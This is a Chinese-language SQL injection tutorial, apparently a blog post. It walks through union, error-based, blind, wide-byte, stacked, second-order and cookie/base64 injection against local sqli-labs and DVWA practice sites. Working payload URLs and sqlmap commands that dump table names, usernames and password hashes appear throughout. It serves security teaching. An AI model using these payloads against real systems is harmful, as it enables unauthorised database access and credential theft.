SQL注入入门

目录

1、SQL注入的原理

2、SQL注入的步骤

2.1、判断注入类型,是字符型还是数字型

2.2、猜解字段数

2.3、union联合查询

2.3.1、确定字段显示顺序

2.3.2、查询数据库名称

2.3.3、查询PHP版本

2.3.4、查询表名

2.3.5、爆破表中的字段

2.3.6、获取表中数据

3、sqlmap的使用

4、报错注入

常用函数

1、updatexml() --更新xml文档函数

2、extractvalue() -- 对xml文档进行查询的函数

5、盲注

5.1、常用函数

5.2、布尔盲注

5.3、时间盲注

6、宽字节注入

6.1、魔术引号

6.2宽字节注入

7、堆叠注入

7.1、堆叠注入定义

7.2、堆叠注入原理

8、二次注入

8.1、二次注入简介

8.2、二次注入原理

9、cookie&&base64注入

9.1、什么是cookie?

Cookie的作用:

Cookie的表示:

Cookie的组成

9.2、cookie注入原理

9.3、base64注入原理

10、DVWA之SQL注入

10.1、DVWA安装

10.2、SQL Injection

1、Low级别

2、Medium级别

3、High级别

10.3、SQL Injection (Blind)

1、Low级别

2、Medium级别

3、High级别


文章涉及的工具有PHPstudy、burpsuite(关于burpsuite的安装,大家可以在网上搜,有疑惑的也可以私信问我)、sqli-labs、sqlmap、dvwa


声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任

1、SQL注入的原理

       服务器未严格校验客户端发送的数据,从而导致服务器SQL语句被恶意修改并执行成功。本质就是用户输入的数据被当作了代码执行。

2、SQL注入的步骤

2.1、判断注入类型,是字符型还是数字型

# 数字型

$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

# 字符型

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

判断方式:(1)

1 and 1=1

1 and 1=2

由于1=2是错误的,如果查询结果为空那么证明是数字型。如果是字符型,由于数据类型不匹配,那么应该都是不会返回结果的。但是如果user_id本身是int类型的话,那么是会返回结果的。并且会造成1 and 1=2在字符类型中会返回user_id为1的查询结果。当然如果第二个语句返回了结果,我们也可以以此判断出该注入类型是字符型。如下图

http://127.0.0.1/sqli/Less-1/?id=1 and 1=1

http://127.0.0.1/sqli/Less-1/?id=1 and 1=2

(2)

1' and '1'='1

1' and '1'='2

如果是数据型注入,变量没有加引号,所以拼接后会提示SQL语法错误,判断为数字型注入。对于字符型注入,第一行语句输入后和原本的引号前后完全闭合,且逻辑成立,所以回显出user_id为1的数据;第二行语句输入后,前后引号也完全闭合,但逻辑不成立,所以返回结果为空。

http://127.0.0.1/sqli/Less-1/?id=1' and '1'='1

http://127.0.0.1/sqli/Less-1/?id=1’ and ‘1’=’2

 http://127.0.0.1/sqli/Less-2/?id=1' '1'='1

2.2、猜解字段数

猜解字段名用的为 order by +数字 -- asd 去查看是否报错来判断字段数,-- 是用来截断SQL语句的

  1. 假设为字符型注入
http://127.0.0.1/sqli/Less-1/?id=1' or 1=1 order by 3 -- asd

http://127.0.0.1/sqli/Less-1/?id=1’ or 1=1 order by 4 -- asd

所以该表的字段为3

  1. 假设为数字型注入
http://127.0.0.1/sqli/Less-2/?id=1 or 1=1 order by 3 -- asd

http://127.0.0.1/sqli/Less-2/?id=1 or 1=1 order by 4 -- asd

所以该表的字段数为3

2.3、union联合查询

联合查询的目的是前一条命令错误,后一条命令自动补上。

2.3.1、确定字段显示顺序

http://127.0.0.1/sqli/Less-2/?id=1’ union select 1,2,3 -- asd

2.3.2、查询数据库名称

http://127.0.0.1/sqli/Less-1/?id=0' union select 1,2,database(),3 -- asd

所以连接的数据库为security 

2.3.3、查询PHP版本

http://127.0.0.1/sqli/Less-1/?id=0’ union select 1,2,version(),3 -- asd

发现PHP版本在5.以上,说明有information_schema 这个库

2.3.4、查询表名

http://127.0.0.1/sqli/Less-1/?id=999' union select 1,2,table_name from information_schema.tables where table_schema=database() -- asd

Information_schema在上一篇文章中有提到过,这里的database()指的是当前数据库,即security。这里可以用limit来获取更多的表名,不添加则只显示第一个。如limit 0,1表示取第一个数据;limit 1,1是取第二个数据。

select table_name from information_schema.tables where table_schema='security' limit 0,4;

但是在网页上通过limit只能一个一个查

我们可以用下面这个命令查看指定数据库的所有表名

http://127.0.0.1/sqli/Less-1/?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- asd

2.3.5、爆破中的字段

我们这里选择users表,只需要指定表名即可

http://127.0.0.1/sqli/Less-1/?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' -- asd

也可以直接指定数据库

http://127.0.0.1/sqli/Less-1/?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' -- asd

2.3.6、获取表中数据

这里一共获取了3个字段,

http://127.0.0.1/sqli/Less-1/?id=0' union select 1,2,group_concat(id,username,password) from users -- asd

可以看到爆破出很多数据。

3、sqlmap的使用

Sqlmap是用的最为广泛的自动化检测、利用sQL注入的渗透测试工具支持多种数据库。利用工具可以提高我们的效率。

检测方式: union联合查询注入、布尔盲注、时间盲注、报错注入、堆叠注入

下载地址: GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool

下载好后直接解压,加入到python.exe下,就可以直接在cmd调用常用最基础指令:

-u指定注入点,即攻击链接

--tables跑表名

--columns跑字段名

--dump枚举数据

--batch 自动选是

-D指定库

-T指定表

-C指定字段

-p指定可测试的参数

查看注入点

python.exe sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1

查询所有表

python.exe sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --tables

  

查询所有数据库

python.exe sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -dbs

 

查询数据库test下的表 

python.exe sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D test --tables

查询player表下的字段

python.exe sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D test -T players --columns

指定字段,枚举数据

python.exe sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D test -T player -C id,year,name,number --dump

4、报错注入

报错注入:利用报错信息,结合函数规则进行读取数据的一种注入方式

场景:没有回显点,但有报错信息时则可以使用报错注入

常用函数

1、updatexml() --更新xml文档函数

语法:updatexml(目标xml内容,xml文件路径,更新的内容)

 select updatexml(1,concat('$',(select database())),1);

http://127.0.0.1/sqli/Less-5/?id=0' and updatexml(1,concat('$',(select database())),1) -- asd

 

http://127.0.0.1/sqli/Less-5/?id=0' and updatexml(1,concat('$',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) -- asd

 

http://127.0.0.1/sqli/Less-5/?id=0' and updatexml(1,concat('$',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),1) -- asd

 

http://127.0.0.1/sqli/Less-5/?id=0' and updatexml(1,concat('$',(select group_concat(id,username,password) from users)),1) -- asd

 

看不完,我们可以一个字段一个字段的查

http://127.0.0.1/sqli/Less-5/?id=0' and updatexml(1,concat('$',(select username from users limit 1,1)),1) -- asd

 

2、extractvalue() -- 对xml文档进行查询的函数

语法:extractvalue(目标xml文档,xml路径)

第二个参数XML路径是可操作的地方

select extractvalue(1,concat(‘$’,database()));

和updatexml()一样的用法 

5、盲注

盲注就是服务器在没有错误回显的时候完成的注入攻击。

服务器没有错误回显,对于渗透测试人员来说缺少了非常重要的“调试信息”

5.1、常用函数

length() 函数    返回字符串长度

substr() 函数   截取字符串

substr(str,m,n)   m是从第m个字符开始截取,n是长度

 

concat() 字符串拼接函数

ascii() 返回字符的ascii码

 

sleep() 休眠,将程序挂起,单位是秒 

If(exp1,exp2,exp3) 判断语句,如果第一个语句正确就执行第二个语句,如果错误就执行第三个语句。

5.2、布尔盲注

  1. 页面有回显,但是不会显示具体报错信息
  2. 只会根据传参返回true和false

substr() 函数判断版本号

http://127.0.0.1/sqli/Less-8/?id=1' and substr(version(),1,1)=5 -- asd

 

显示正常,所以PHP版本为5

length()判断字符串长度

http://127.0.0.1/sqli/Less-8/?id=1' and length(database())=8 -- asd

 

所以数据库长度为8,常见的就是security,’s’的ascii码值为115,猜一下

ascii()验证猜想

http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr(database(),1,1))=115 -- asd

再验证第二个数’e’为101看一下

http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr(database(),2,1))=101-- asd

 

5.3、时间盲注

(1)传参任何东西的结果都一样

(2)页面返回值只有一种,true,无论输入任何值,返回情况都会按照正常的进行处理

(3)加入特定的时间函数,通过查看web页面返回的时间差来判断注入语句是否正确

通过添加睡眠时间来判断命令是否被执行

http://127.0.0.1/sqli/Less-9/?id=1’ and sleep(5) -- asd

 检查if语句是否可用

自行验证:

http://127.0.0.1/sqli/Less-9/?id=1' and if((substr(select version()1,1)=5),sleep(10),null) -- asd
http://127.0.0.1/sqli/Less-9/?id=1' and if(length(database())=8,sleep(10),null) -- asd
http://127.0.0.1/sqli/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(10),null) -- asd

然后就是进行猜解了

这样是比较耗时间的,所以我们使用sqlmap工具

python.exe sqlmap.py -u http://127.0.0.1/sqli/Less-9/?id=1 --batch

python.exe sqlmap.py -u http://127.0.0.1/sqli/Less-9/?id=1 --batch --dump

6、宽字节注入

6.1、魔术引号

addslashes()函数

判断解析用户提交的数据,如包括有: post、get、cookie过来的数据增转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为殊字符引起的污染而出现致命的错误。

单引号(’)、双引号(”)、反斜线(\)等字符都会被加上反斜线

魔术引号函数的作用:当PHP的传参中有特殊字符就会再前面加转义字符'\',来做一定的过滤单引号和双引号内的一切都是字符串,那我们输入的东西如果不能闭合掉单引号和双引号,我们的输入就不会当作代码执行,就无法产生SQL注入,那我们该怎么办?

6.2宽字节注入

宽字节注入原理:目前多数网站使用的都为UTF-8编码,如果MySQL数据库的编码设置为GBK编码,此时就会产生宽字节注入攻击。

UTF-8编码:一个中文字符占三个字节

GBK编码:一个中文字符占两个字节

如何绕过\?

汉字\’ ——》%df%5c%27

http://127.0.0.1/sqli/Less-32/?id=1%df’ order by 3 -- asd

http://127.0.0.1/sqli/Less-32/?id=0%df’ union select 1,database(),version() -- asd

其他步骤参考上文

7、堆叠注入

7.1、堆叠注入定义

一堆(多条)SQL语句一起执行,如下图:

7.2、堆叠注入原理

在SQL语句中,分号(;)代表一条SQL语句的结束。如果我们在一条SQL语句结束时,继续构造下一条SQL语句一起执行,这就造就了堆叠注入。

堆叠注入和union查询的区别:

union和union all 执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以

执行任意的语句。

验证是否有堆叠注入:1;select sleep(5) -- asd

8、二次注入

8.1、二次注入简介

二次注入漏洞是一种在web应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。

8.2、二次注入原理

二次注入的原理,在第一次进行数据库插入数据的时候,仅仅只是使用了addslashes或者是借助get_magic_quotes_gpc对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤一会添加“\”进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还保留了原来的数据。

在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。

常见场景:修改密码

9、cookie&&base64注入

9.1、什么是cookie?

Cookie其实就是一些数据信息,类型为“小型文本文件”,存储在电脑上的文本文件中。它包含有关用户的信息,无论何时用户链接到服务器,Web 站点都可以访问 Cookie 信息。

(1)Cookie 是浏览器访问服务器后,服务器传给浏览器的一段数据。

(2) 浏览器需要保存这段数据,不得轻易删除。

(3)此后每次浏览器访问该服务器,都必须带上这段数据。

Cookie的作用:

识别用户身份

记录历史

Cookie的表示:

一般情况下以键值对(key-value)的方式进行表示

Cookie的组成

Name:这个是cookie的名字

Value:这个是cooke的值

Domain属性:指定了可以访问该 Cookie 的 Web 站点或域。Cookie 机制并未遵循严格的同源策略,允许一个子域可以设置或获取其父域的 Cookie。当需要实现单点登录方案时,Cookie 的上述特性非常有用,然而也增加了 Cookie受攻击的危险,比如攻击者可以借此发动会话定置攻击。因而,浏览器禁止在 Domain 属性中设置.org、.com 等通用顶级域名、以及在国家及地区顶级域下注册的二级域名,以减小攻击发生的范围

Path:这个定义了Web站点上可以访问该Cookie的目录

Expires:这个值表示cookie的过期时间,也就是有效值,cookie在这个值之前都有效。

Size:这个表示cookie的大小

HTTPOnly 属性 :用于防止客户端脚本通过document.cookie属性访问Cookie,有助于保护Cookie不被跨站脚本攻击窃取或篡改。但是,HTTPOnly的应用仍存在局限性,一些浏览器可以阻止客户端脚本对Cookie的读操作,但允许写操作;此外大多数浏览器仍允许通过XMLHTTP对象读取HTTP响应中的Set-Cookie头。

Secure属性:指定是否使用HTTPS安全协议发送Cookie。使用HTTPS安全协议,可以保护Cookie在浏览器和Web服务器间的传输过程中不被窃取和篡改。该方法也可用于Web站点的身份鉴别,即在HTTPS的连接建立阶段,浏览器会检查Web网站的SSL证书的有效性。但是基于兼容性的原因(比如有些网站使用自签署的证书)在检测到SSL证书无效时,浏览器并不会立即终止用户的连接请求,而是显示安全风险信息,用户仍可以选择继续访问该站点。由于许多用户缺乏安全意识,因而仍可能连接到Pharming攻击所伪造的网站。

9.2、cookie注入原理

从cookie头部传入id参数,根据ID参数的不同返回不同的内容。

实战:sqli-Less20

首先拿到这样一个页面

先随便登一个用户,点击提交

然后开启开启burpsuite抓包

发送到repeater中,然后点击send

尝试在cookie注入,这里我们采用报错注入

也可以将该包发送到浏览器(先将repeter中修改后的内容替换proxy下的intercept,就是刚刚抓包的位置,然后点击forward发送给浏览器)

其他注入方式就一样了

9.3、base64注入原理

网站使用了base64加密传参值,然后使用base64解码之后进行带入查询。相当于中间多了一层加密。

实战:Less21

需要注意的是,对于空格base64编码会出现一些问题,所以我们的闭合就不再用-- asd,

而是用and’1’=’1  进行一个闭合。当然你也可以先试试和上面一样的注入先试一试

由于21和20关前面都差不多,我这里直接进行抓包注入。

Base在线编码解码:https://ctf.bugku.com/tool/base64

可以看到,admin是经过编码的,直接注入

10、DVWA之SQL注入

10.1、DVWA安装

下载链接:https://pan.baidu.com/s/1DouNO8hUfAMTj0RegKVKIQ

提取码:ua18

(提示low.php文件携带病毒,这个是文件上传漏洞的low级别关卡,添加信任就行)

把下载好的DVWA的压缩包解压在之前安装PHPStudy文件夹下的WWW目录(先解压再复制到此目录也可以,注意 是把整个文件夹复制到此目录,而不是各个文件),改名为DVWA如图:

(1)找到DVWA- 下面的config文件夹,打开config.inc.php.dist文件,修改这里的默认密码 “p@ssw0rd” 为 “root”,默认账号“dvwa"为”root“保存,然后还需要把config.inc.php.dist的后缀“.dist”删除,最后文件名就剩config.inc.php

(2)访问127.0.0.1/DVWA,点击创建数据库

参考:http://t.csdn.cn/a0o2Z

(3)登录:默认用户名为admin,密码为password。

然后选择级别就可以开始练习使用了

10.2、SQL Injection

1、Low级别

首先判断注入类型,输入1’,发现爆出错误,可以判断出这是一个单引号闭合

然后随便输入1,2,3这些数,上面id在变换,可知他是一个动态网站,再用之前的方法判断是否存在注入点

可以看出是存在注入点的

然后就是猜字段了

http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1’ order by 2 -- asd&Submit=Submit#

经过尝试,发现字段数为2,我们可以尝试联合注入,查询版本和数据库名

http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=0' union select database(),version() -- asd&Submit=Submit#

然后查询当前数据库表名,我这里注入语句一直报错,

解决方法:http://t.csdn.cn/PuWUz

然后再执行注入语句

http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=0' union select database(),group_concat(table_name) from information_schema.tables where table_schema=database() -- asd&Submit=Submit#

 两个表:guestbook,users

爆破字段

http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=0' union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' -- asd&Submit=Submit#

 再根据字段进行爆破

http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=0' union select database(),group_concat(user,password) from users -- asd&Submit=Submit#

 密码是经过MD5加密处理的,进行解密:md5在线解密破解,md5解密加密

所以admin 密码为 password,其他解密一样的

2、Medium级别

 中级打开没有输入,只提供选项,可以通过burpsuite抓包,然后修改数据

 发送到repeater在id=1处尝试进行注入

1 union select database(),version() -- asd

 获取数据库中的表

1 union select database(),group_concat(table_name) from information_schema.tables where table_schema=database() -- asd

 获取字段

1 union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’ -- asd

 尝试发现报错,这里是因为单引号被转义了,可以用16进制绕过(‘users’)

网站http://tool.huixiang360.com/str/hex.php

user--->7573657273

1 union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273 -- asd

 获取用户名和密码,接下来就不用多说了。

3、High级别

这一关也没什么太大区别,直接尝试burp抓包注入即可

10.3、SQL Injection (Blind)

1、Low级别

这几关是盲注,之前sqli-labs的内容也有盲注,直接先看题。打开是和刚刚一样的界面

 输入1 and 1=1,1 and 1=2,还有1’ 来判断注入类型,在输入1’ 时出现报错

 可知他是一个单引号闭合,然后判断版本号判断数据库

1' and substr(version(),1,1)=5 -- asd

 猜想数据库名长度,当为4的时候正确

1' and length(database())=4 -- asd

判断数据库,猜一下是不是dvwa,d-->100,v-->118,w-->119,a-->97

参考:http://t.csdn.cn/xFmSs

1' and ascii(substr(database(),1,1))=100 -- asd

判断正确之后,继续判断其他字母

判断表长度,一个一个试就行

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 -- asd

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=4 -- asd

然后再根据长度猜表名

判断字段,先确定字段数量,再确定字段名,然后获取密码也是一样的思路

2、Medium级别

中级改成了下拉框,我们用burpsuite抓包查看

 在下方id=1处进行和之前一样的注入。

3、High级别

高级别的盲注采用时间盲注,通过cookie处传递id参数。时间盲注之前也有提到,通过if语句,执行为空或者执行正确时执行sleep函数,来判断语句是否在数据库中运行。

关于dvwa中的注入,大家也可以使用sqlmap工具进行注入。

深入使用:https://zhuanlan.zhihu.com/p/485603130

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值